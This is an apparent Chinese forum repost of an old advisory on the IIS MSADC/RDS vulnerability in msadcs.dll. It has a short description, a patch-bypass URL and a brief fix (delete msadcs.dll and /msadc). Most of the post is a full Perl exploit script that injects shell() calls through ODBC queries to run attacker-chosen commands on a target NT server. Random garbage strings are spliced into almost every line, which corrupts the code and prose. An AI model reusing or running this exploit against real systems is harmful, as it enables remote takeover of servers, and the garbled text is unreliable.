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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) g4 |s9RMD  
wfxg@<WR  
涉及程序: DVq 5[ntG  
Microsoft NT server .3.oan*i  
gf8DhiB  
描述: eD481r  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 L(2KC>GvA  
%kJ_o*"  
详细: JW4~Qwx  
如果你没有时间读详细内容的话,就删除: MdOQEWJ$|  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 5L}qL?S`x|  
有关的安全问题就没有了。 zLxO\R!d  
"NamP\hj  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 hkq[xgX  
ZsPT!l,  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 t:G67^<3  
关于利用ODBC远程漏洞的描述,请参看: C"P40VQoo  
,:QzF"MV  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 'bXm,Ed  
1c} %_Z/  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 A%pBvULH  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp #X(KW&;m  
.;0?r9  
这里不再论述。 IE-c^'W=}m  
I(*4N^9++  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: O!D0 hW4  
!V6O~#  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset #FBq8iJ  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! l25E!E-'b  
:! h1S`wS  
^Z{W1uYi  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 0]c 2T  
s3*h=5bX=  
#!perl W~J>Srt  
# -4&SYCw  
# MSADC/RDS 'usage' (aka exploit) script f"j"ZM{~U  
# %/o8-N|_[  
# by rain.forest.puppy  4_E{  
# ^hhJ6E_W  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me MW^,l=kqW)  
# beta test and find errors! ZV`D} CQ  
%C!u/:.Kv  
use Socket; use Getopt::Std; !?o661+b  
getopts("e:vd:h:XR", \%args); 1{8SKfMdP  
PyD'lsV  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; vPn(~d_  
*.UM[Wo  
if (!defined $args{h} && !defined $args{R}) { 4{h?!Z*  
print qq~ <303PPX^6  
Usage: msadc.pl -h <host> { -d <delay> -X -v } d+_wN2  
-h <host> = host you want to scan (ip or domain) s 9,?"\0Zm  
-d <seconds> = delay between calls, default 1 second @"9^U_Qf1z  
-X = dump Index Server path table, if available Efm37Kv5l  
-v = verbose $W 46!U3  
-e = external dictionary file for step 5 J2BW>T!tuw  
][|)qQ%V  
Or a -R will resume a command session 06 kjJ4  
]E1aIt  
~; exit;} Qo !/]\  
CF`tNA3fxm  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ik@g;>pQD  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ;hz"`{(JY  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} <|_/i/H  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); L {6y]t7^  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} >bia FK>t  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 30(O]@f~  
sD,[,6(  
if (!defined $args{R}){ $ret = &has_msadc; $z!o&3c'x  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} )p&FDK#ob=  
4}FuoQL  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" NJG-~ w  
. "cmd /c "; A#gmKS<J/7  
$in=<STDIN>; chomp $in; E>tlY&0[$  
$command="cmd /c " . $in ; e~C^*wL  
9Z,vpTE  
if (defined $args{R}) {&load; exit;} }b-"[TDEF  
N:j"W,8  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; $6~D 2K  
&try_btcustmr; b]v.jgD  
bJJB*$jW=  
print "\nStep 2: Trying to make our own DSN..."; m L#-U)?F  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; [-X=lJ:+h  
}JXAG/<  
print "\nStep 3: Trying known DSNs..."; N5$L),?\y  
&known_dsn; #%4-zNS  
jg]_'^pVzr  
print "\nStep 4: Trying known .mdbs..."; =} Np0UP  
&known_mdb; )1%l$W  
`B{N3Kxbp  
if (defined $args{e}){ [HJ^'/bB'  
print "\nStep 5: Trying dictionary of DSN names..."; ?lJm}0>  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Yyq:5V!  
S3V3<4CB  
print "Sorry Charley...maybe next time?\n"; w /$4 Rv+S  
exit; <KF|QE  
(|_1ku3!  
############################################################################## #?)g?u%g=  
Y/1KvF4)k  
sub sendraw { # ripped and modded from whisker b !FX]d1~k  
sleep($delay); # it's a DoS on the server! At least on mine... `A8nAgbe  
my ($pstr)=@_; CQf!<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || cXx?MF5  
die("Socket problems\n"); &n>\ +Q   
if(connect(S,pack "SnA4x8",2,80,$target)){ EQDs bG0x  
select(S); $|=1; c"w}<8  
print $pstr; my @in=<S>; YGP.LR7  
select(STDOUT); close(S); TAbd[:2{F  
return @in; ]sBSLEie '  
} else { die("Can't connect...\n"); }} c:0nOP  
tG(#&54  
############################################################################## T^3_d93}d  
1b:3'E.#w  
sub make_header { # make the HTTP request $Q,Fr; B  
my $msadc=<<EOT `9a %vN  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Fp>iwdjFg  
User-Agent: ACTIVEDATA 6-U+<[,x  
Host: $ip \F;V69'  
Content-Length: $clen ,bhOIuep3  
Connection: Keep-Alive XUT,)dL  
E 5D5  
ADCClientVersion:01.06 aqq7u5O1r  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 w=.w*?>  
ZUJ !  
--!ADM!ROX!YOUR!WORLD! t]|WRQvy8  
Content-Type: application/x-varg 1Zc1CUMG  
Content-Length: $reqlen t#tAvwFM8  
iR;Sd >)  
EOT o2e aSG  
; $msadc=~s/\n/\r\n/g; rQ -pD  
return $msadc;} *oAv:8"iY  
P;o6rQf  
############################################################################## ^&oa\7<'  
5gnNgt~  
sub make_req { # make the RDS request ]J;pUH+u  
my ($switch, $p1, $p2)=@_; Z?k4Kb  
my $req=""; my $t1, $t2, $query, $dsn; H!Gsu$C  
xc[Lb aBG  
if ($switch==1){ # this is the btcustmr.mdb query pPt7M'uL"  
$query="Select * from Customers where City=" . make_shell(); _5'OQ'P2  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . g 4,>cqRkq  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ?N2/;u>  
s&MfC\  
elsif ($switch==2){ # this is general make table query U4]>8L  
$query="create table AZZ (B int, C varchar(10))"; _=9o:F  
$dsn="$p1";} EoM}Co  
vL"U=Q+/eY  
elsif ($switch==3){ # this is general exploit table query }oH A@o5  
$query="select * from AZZ where C=" . make_shell(); '@)47]~  
$dsn="$p1";} %?K1X^52d  
gqR?hZD  
elsif ($switch==4){ # attempt to hork file info from index server d;` bX+K  
$query="select path from scope()"; InDISl]  
$dsn="Provider=MSIDXS;";} WZq0$:I;R  
IXYSZ)z  
elsif ($switch==5){ # bad query Fm(~Vt;%u  
$query="select"; |=H*" (  
$dsn="$p1";} cI)T@Zg_o+  
\ .H X7v  
$t1= make_unicode($query); <}S1ZEZcQ  
$t2= make_unicode($dsn); / /63?s+  
$req = "\x02\x00\x03\x00"; 1:]iV}OFqR  
$req.= "\x08\x00" . pack ("S1", length($t1)); e;KZTH;  
$req.= "\x00\x00" . $t1 ; Mf)0Y~_:R#  
$req.= "\x08\x00" . pack ("S1", length($t2)); 5MsE oLg  
$req.= "\x00\x00" . $t2 ; e573UB  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ft oz0Vb  
return $req;} `9QvokD  
ad^7t<a}<  
############################################################################## \a]JH\T)Q  
bl. y4  
sub make_shell { # this makes the shell() statement `p`)D 6  
return "'|shell(\"$command\")|'";} ~e,k71  
d&K2\n  
############################################################################## )SG+9!AbMZ  
l]Ozy@ Ib  
sub make_unicode { # quick little function to convert to unicode =KfV;.&  
my ($in)=@_; my $out; m1DzU q;  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 0Lcd@3XL  
return $out;} vJ9 6qX  
~IvAnwQ'  
############################################################################## iHy=92/Ww  
kfaRN ^  
sub rdo_success { # checks for RDO return success (this is kludge) KLpu7D5(|  
my (@in) = @_; my $base=content_start(@in); =fmM=@!$<  
if($in[$base]=~/multipart\/mixed/){ ]$[J_f*x  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} UN{_f)E?  
return 0;} <eRE;8C-  
p9]008C89  
############################################################################## 9Z}Y2:l'  
)G$/II9d  
sub make_dsn { # this makes a DSN for us IV$pA`|V  
my @drives=("c","d","e","f"); nbM[?=WS  
print "\nMaking DSN: "; ycAQHY~n  
foreach $drive (@drives) { ]jNv}{  
print "$drive: "; VfAC&3 %M  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . gf/$M[H!   
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" m89-rR:Kc  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); P/;sZo  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; :wiQ^ea  
return 0 if $2 eq "404"; # not found/doesn't exist zbsdK  
if($2 eq "200") { 7{HJjH!zx  
foreach $line (@results) { y.6D Z  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} j:'sbU  
} return 0;} g.-{=kZ   
]i'hCa $$  
############################################################################## g:0-` ,[  
ER0nrTlB<  
sub verify_exists { Oga/  
my ($page)=@_; {fXD@lhi  
my @results=sendraw("GET $page HTTP/1.0\n\n"); {@K>oaZ  
return $results[0];} _l$V|  
Vae}:8'}  
############################################################################## Pg[XIfBva  
6t9Q,+nJ  
sub try_btcustmr { %00KOM:  
my @drives=("c","d","e","f"); PveY8[i  
my @dirs=("winnt","winnt35","winnt351","win","windows"); -r%4,4  
c@d[HstBJ  
foreach $dir (@dirs) { 1fBj21zG  
print "$dir -> "; # fun status so you can see progress 6Yw;@w\  
foreach $drive (@drives) { cVjs-Xf7D%  
print "$drive: "; # ditto O>]I!n`!!A  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ETk4I "  
$reqlenlen=length( "$reqlen" ); ?+-uF }  
$clen= 206 + $reqlenlen + $reqlen; dh r)ra]  
< GoUth.#  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 5Vo8z8]t`  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} bt3v`q+V  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} k}T#-Gb  
1} 1.5[4d  
############################################################################## W]E6<y'  
,B|~V 3)(  
sub odbc_error { ;&B;RUUnTO  
my (@in)=@_; my $base; 3F fS2we  
my $base = content_start(@in); V 8`o71p  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this eZes) &4  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; KQ0Zy  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !#l>+9  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; AD_RU_a9  
return $in[$base+4].$in[$base+5].$in[$base+6];} +"1@ 6,M  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; YlfzHeN1  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . LWG%]m|C  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ziUEA>m */  
S<Z]gY @c  
############################################################################## y;zp*(}f$h  
d{^9` J'  
sub verbose { )C^ZzmB  
my ($in)=@_; ) #G5XS+)  
return if !$verbose; ' S%?&4  
print STDOUT "\n$in\n";} %M"rc4Xd  
V$U#'G>m  
############################################################################## om6'%nXhn  
A")F7F31c  
sub save { QWL$F:9:  
my ($p1, $p2, $p3, $p4)=@_; jK`b6:#(,  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Z$qLY<aV  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; xUT]6T0dB  
close OUT;} hSQ*_#  
a<%Ivqni  
############################################################################## X@l>mAk  
9H^$cM9C  
sub load { MTm}qx@L  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; a3t[Tk;  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); D#VUx9kugv  
@p=<IN>; close(IN); u.!}s2wT#  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); )anprhc  
$target= inet_aton($ip) || die("inet_aton problems");  bT(}=j  
print "Resuming to $ip ..."; cJ[ gCS  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; dk<) \C"  
if($p[1]==1) { W=zHD 9  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; AQAZ+g(IK  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; v|DgRPY  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); y8oqCe)  
if (rdo_success(@results)){print "Success!\n";} zfS0M  
else { print "failed\n"; verbose(odbc_error(@results));}} N]yh8"7X  
elsif ($p[1]==3){ 44e:K5;]7  
if(run_query("$p[3]")){ sa8Q1i&%  
print "Success!\n";} else { print "failed\n"; }} dM n0nc+  
elsif ($p[1]==4){ 9j'(T:Zs  
if(run_query($drvst . "$p[3]")){ D(bQFRBY6"  
print "Success!\n"; } else { print "failed\n"; }} B?bdHO:E~  
exit;} :SBB3G)|  
h = <x%sie  
############################################################################## ,x (?7ZW>  
-^C^3pms  
sub create_table { C/34K(  
my ($in)=@_; . W ~&d_n  
$reqlen=length( make_req(2,$in,"") ) - 28; Z=c&</9e  
$reqlenlen=length( "$reqlen" ); ),DLrGOl  
$clen= 206 + $reqlenlen + $reqlen; ~`Uil=  
my @results=sendraw(make_header() . make_req(2,$in,"")); =;HC7TUM&  
return 1 if rdo_success(@results); d@d\9*mn  
my $temp= odbc_error(@results); verbose($temp); 2%!yV~Z  
return 1 if $temp=~/Table 'AZZ' already exists/; r.WQ6h/eZ5  
return 0;} = Ob-'Syg>  
`i~kW  
############################################################################## o8uak*"{  
yLpsK[)}\  
sub known_dsn { sVT:1 kI  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go "pRi1Y5)l  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", !>E$2}Q|]  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ,)u1r3@I^  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ^T>P  
%s&"gWi  
foreach $dSn (@dsns) { 0j\} @  
print "."; }\#u~k!l  
next if (!is_access("DSN=$dSn")); :'6vIPN5  
if(create_table("DSN=$dSn")){ ya`Z eQ-p  
print "$dSn successful\n"; 9(-f)$u  
if(run_query("DSN=$dSn")){ ~<Eu @8+_  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { t=(d, kf  
print "Something's borked. Use verbose next time\n";}}} print "\n";} CdZS"I  
g \;,NW^  
############################################################################## SN#Cnu}  
o5h*sQ9  
sub is_access { ,8Eg/  
my ($in)=@_; fYgEiap  
$reqlen=length( make_req(5,$in,"") ) - 28; rt8"U <~  
$reqlenlen=length( "$reqlen" ); NuEcTww  
$clen= 206 + $reqlenlen + $reqlen; uT#4"G9A[  
my @results=sendraw(make_header() . make_req(5,$in,"")); y=HM]EH>  
my $temp= odbc_error(@results); %]"eN{Uvn  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); n{*A<-vL  
return 0;} {JGXdp:SB  
jjJvyZi~J  
############################################################################## xj< K6  
 Iz_#wO  
sub run_query { u{J\X$]  
my ($in)=@_; zg}#X6\G<_  
$reqlen=length( make_req(3,$in,"") ) - 28; v#^_|  
$reqlenlen=length( "$reqlen" ); 'QOV!D  
$clen= 206 + $reqlenlen + $reqlen; Z [Q jl*  
my @results=sendraw(make_header() . make_req(3,$in,"")); y8.3tp  
return 1 if rdo_success(@results); k-jlYHsA  
my $temp= odbc_error(@results); verbose($temp); 9z'(4U  
return 0;} *8%nbR  
qk}Mb_*C)  
############################################################################## ']C" 'b  
D~Rv"Hh  
sub known_mdb { Tebu?bj  
my @drives=("c","d","e","f","g"); `ElJL{Rn  
my @dirs=("winnt","winnt35","winnt351","win","windows"); VX6M4<8  
my $dir, $drive, $mdb; 'hNRIM1  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; wn Q% 'Eo  
nN'>>'@>  
# this is sparse, because I don't know of many !Bu=?gf  
my @sysmdbs=( "\\catroot\\icatalog.mdb", )u?^w  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", cgV5{|P  
"\\system32\\certmdb.mdb", 1lLXu  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ET\>cxSp  
werTwe2Q  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", E0t%]?1  
"\\cfusion\\cfapps\\forums\\forums_.mdb", =38c}(  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", p!/ *(TT  
"\\cfusion\\cfapps\\security\\realm_.mdb", .VA'W16  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Nm{J=`  
"\\cfusion\\database\\cfexamples.mdb", -Pp =)_O  
"\\cfusion\\database\\cfsnippets.mdb", :"Gd;~p.  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", &=[N{N?(  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", U6IvN@ g  
"\\cfusion\\brighttiger\\database\\cleam.mdb", [M#I Nm}  
"\\cfusion\\database\\smpolicy.mdb", SO+J5,)HA  
"\\cfusion\\database\cypress.mdb", JWsOze 8#  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", dUc?>#TU  
"\\website\\cgi-win\\dbsample.mdb", 3kJ7aBiR<  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", lz:+y/+1  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"  __Egr@  
); #these are just YgLHp/  
foreach $drive (@drives) { GswV/V+u  
foreach $dir (@dirs){ R+<M"LriR&  
foreach $mdb (@sysmdbs) { =<.h.n  
print "."; j"Z9}F@  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ '>Uip+'  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ?WBA:?=$58  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 9jJ:T$}  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;  K)P].htw  
} else { print "Something's borked. Use verbose next time\n"; }}}}} F7&Oc)f"B  
W61nJ7@  
foreach $drive (@drives) { zwgO|Qg;  
foreach $mdb (@mdbs) { ]L;X Aj?  
print "."; +5N09$f;R  
if(create_table($drv . $drive . $dir . $mdb)){ _zG[b/:p  
print "\n" . $drive . $dir . $mdb . " successful\n"; xX~; /e&,  
if(run_query($drv . $drive . $dir . $mdb)){ |bX{MF  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; F3=iyiz6  
} else { print "Something's borked. Use verbose next time\n"; }}}} ? oQ_qleuo  
} Y;1J` oT  
g E$@:j  
############################################################################## w=x [=O  
evE$$# 6R  
sub hork_idx { D.,~I^W  
print "\nAttempting to dump Index Server tables...\n"; Senb_?  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; +GlG.6  
$reqlen=length( make_req(4,"","") ) - 28; l~#%j( Yo  
$reqlenlen=length( "$reqlen" ); '-[?iF@l  
$clen= 206 + $reqlenlen + $reqlen; t}fU 2Yb  
my @results=sendraw2(make_header() . make_req(4,"","")); G|LcTV  
if (rdo_success(@results)){ dk.VH!uVb  
my $max=@results; my $c; my %d; PbIir=  
for($c=19; $c<$max; $c++){ </li<1  
$results[$c]=~s/\x00//g; l.%[s6  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 3h4'DQ.g  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; EViDMp"  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ]cP$aixd  
$d{"$1$2"}="";} G]E-2 _t7  
foreach $c (keys %d){ print "$c\n"; } 7NP Ny  
} else {print "Index server doesn't seem to be installed.\n"; }} mApl}I  
q/dja  
############################################################################## BE,H`G #h  
Nrfj[I  
sub dsn_dict { _<7e5VR  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ;#n+$Q#:  
while(<IN>){ KBa   
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; X0BBJ(e  
next if (!is_access("DSN=$dSn")); Vbp`Rm1?  
if(create_table("DSN=$dSn")){ [' cq  
print "$dSn successful\n"; (k<__W c_t  
if(run_query("DSN=$dSn")){ (T8dh|  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { dL|*#e  
print "Something's borked. Use verbose next time\n";}}} f1RX`rXf  
print "\n"; close(IN);} JAS!eF  
; 2Za]%'  
############################################################################## /u pDbP.O  
h%!N!\  
sub sendraw2 { # ripped and modded from whisker YnwP\Arfq  
sleep($delay); # it's a DoS on the server! At least on mine... r1AG1Y  
my ($pstr)=@_; `t Zw(Z=h  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || }Oe9Zq  
die("Socket problems\n"); !~a1xI~s  
if(connect(S,pack "SnA4x8",2,80,$target)){ ^<v]x; 3  
print "Connected. Getting data"; S1E=EVG  
open(OUT,">raw.out"); my @in; V"W)u#4,  
select(S); $|=1; print $pstr; *S\/l-D  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} MzCZj  
close(OUT); select(STDOUT); close(S); return @in; X Frgnnt  
} else { die("Can't connect...\n"); }} Qh!h "]  
(7?jjH^4  
############################################################################## !/6KQdF  
'/ GZ,~q  
sub content_start { # this will take in the server headers O`2hTY\  
my (@in)=@_; my $c; +HfZs"x  
for ($c=1;$c<500;$c++) { ehr,+GX  
if($in[$c] =~/^\x0d\x0a/){ ALl0(<u67  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Z >F5rkJ  
else { return $c+1; }}} IWP[?U=  
return -1;} # it should never get here actually =J827c{.  
Y]9C8c)  
############################################################################## 50Y^##]&  
?%wM8?  
sub funky { 4kdQ h]  
my (@in)=@_; my $error=odbc_error(@in); SAtK 'Jx[  
if($error=~/ADO could not find the specified provider/){ @ Yzc?+x  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; :yE7jXB  
exit;} pb=yQ}.  
if($error=~/A Handler is required/){ MP%pEUomev  
print "\nServer has custom handler filters (they most likely are patched)\n"; 07qL@![!  
exit;} W6L}T,epX  
if($error=~/specified Handler has denied Access/){ $+Zj)V(  
print "\nServer has custom handler filters (they most likely are patched)\n"; N83g=[  
exit;}} JN<IMH  
"M4 gl  
############################################################################## Ilv _.  
_5SA(0D#9  
sub has_msadc { "%fvA;  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); D$PR<>=y  
my $base=content_start(@results); 8VLD yX2-  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); .80L>0  
return 0;} 7) e#b  
(Gpk;DD  
######################## ey! {  
_)F0o C {  
.qG*$W2f  
解决方案: )1 =|\  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll # vBS7ba  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 q'4qSu  
? bnhx  
拿出来充数 哈哈
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